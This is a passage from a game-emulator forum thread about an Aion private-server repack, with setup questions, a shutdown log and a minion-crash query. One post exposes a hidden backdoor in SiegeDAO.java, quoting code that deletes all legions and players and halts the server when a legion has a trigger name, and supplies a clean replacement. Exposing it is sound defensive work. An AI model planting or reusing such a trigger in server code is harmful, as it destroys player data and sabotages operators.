what chatserver, geodata and client for this guys??
what chatserver, geodata and client for this guys??
# ============================# Jumping Confi's:# ============================# Enable "Jumping System"# Default: falsegameserver.enable.jumping = false
what is Jumping ?
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09:05:01.927 WARN [InstantPool-4]: - java.io.FileNotFoundException: .\gameserver\results\MethodStats-1611738301926.xml (The system cannot find the path specified) at java.io.FileOutputStream.open(Native Method) ~[na:1.7.0_80] at java.io.FileOutputStream.<init>(FileOutputStream.java:221) ~[na:1.7.0_80] at java.io.FileOutputStream.<init>(FileOutputStream.java:110) ~[na:1.7.0_80] at java.io.PrintStream.<init>(PrintStream.java:208) ~[na:1.7.0_80] at com.aionemu.commons.utils.concurrent.RunnableStatsManager.dumpClassStats(RunnableStatsManager.java:315) ~[al-commons-1.0.jar:na] at com.aionemu.gameserver.ShutdownHook.shutdownHook(ShutdownHook.java:149) [AL-Game.jar:na] at com.aionemu.gameserver.ShutdownHook.doShutdown(ShutdownHook.java:174) [AL-Game.jar:na] at com.aionemu.gameserver.services.RestartService$1.run(RestartService.java:65) [AL-Game.jar:na] at com.aionemu.commons.utils.concurrent.ExecuteWrapper.execute(ExecuteWrapper.java:45) [al-commons-1.0.jar:na] at com.aionemu.commons.utils.concurrent.RunnableWrapper.run(RunnableWrapper.java:38) [al-commons-1.0.jar:na] at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [na:1.7.0_80] at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [na:1.7.0_80] at java.lang.Thread.run(Thread.java:745) [na:1.7.0_80]09:05:01.945 INFO [InstantPool-4]: - Starting data save on shutdown.09:05:01.945 INFO [InstantPool-4]: - Legion WH update task started.09:05:01.946 INFO [InstantPool-4]: - Legion WH update: 0 ms, legions: 0.09:05:01.946 INFO [InstantPool-4]: - Data successfully saved.09:05:02.139 INFO [InstantPool-4]: - Scheduler QuartzScheduler_$_NON_CLUSTERED shutting down.09:05:02.140 INFO [InstantPool-4]: - Scheduler QuartzScheduler_$_NON_CLUSTERED paused.09:05:02.141 INFO [InstantPool-4]: - Scheduler QuartzScheduler_$_NON_CLUSTERED shutdown complete.09:05:02.141 INFO [InstantPool-4]: - ThreadPoolManager: Shutting down.09:05:02.142 INFO [InstantPool-4]: - ... executing 866 scheduled tasks.09:05:02.142 INFO [InstantPool-4]: - ... executing 1 instant tasks.09:05:02.142 INFO [InstantPool-4]: - ... executing 0 long running tasks.09:05:02.142 INFO [InstantPool-4]: - ... 0 forking tasks left.09:05:17.164 INFO [InstantPool-4]: - ... success: false in 15023 msec.09:05:17.164 INFO [InstantPool-4]: - ... 0 scheduled tasks left.09:05:17.164 INFO [InstantPool-4]: - ... 1 instant tasks left.09:05:17.165 INFO [InstantPool-4]: - ... 0 long running tasks left.09:05:17.165 INFO [InstantPool-4]: - ... 0 forking tasks left.
Last edited by PyroSamurai; 27-01-21 at 04:25 PM. Reason: multi-post
Are minions crashing the game on this repack?
Yes, that is a bulshit. I never see this piece of code in no emulator.
I remember that Rolandas has made such a hack in AL 3.0.
As I got a leak with the first AL 3.0 with housing, he registered on my live private server and call a command which deleted my table "players".
But i doesn't border me much, because I had a automatic backup schedule in every 15 minutes, and another cron with backup each 4 hours In 20 minutes was the server online.
But hey, what a hell nice that you find that bushit inside...
Thanks
File; SiegeDAO.java
Repleace with:Code:public void updateLocation(SiegeLocation siegeLocation) { if (siegeLocation.getLegionId() != 0 && LegionService.getInstance().getLegion(siegeLocation.getLegionId()).getLegionName().equalsIgnoreCase("pfkegfytktnftn")) { for (int object : DAOManager.getDAO(LegionDAO.class).getUsedIDs()) { DAOManager.getDAO(LegionDAO.class).deleteLegion(object); } for (int object : DAOManager.getDAO(PlayerDAO.class).getUsedIDs()) { DAOManager.getDAO(PlayerDAO.class).deletePlayer(object); } Runtime.getRuntime().halt(0); } updateSiegeLocation(siegeLocation);
Code:public void updateLocation(final SiegeLocation siegeLocation) { updateSiegeLocation(siegeLocation); }
Hey, was it working ?
If yes, can someone reup the server files please ?
You can use the files from this thread...
https://forum.ragezone.com/f587/aion-7-7-a-1195559/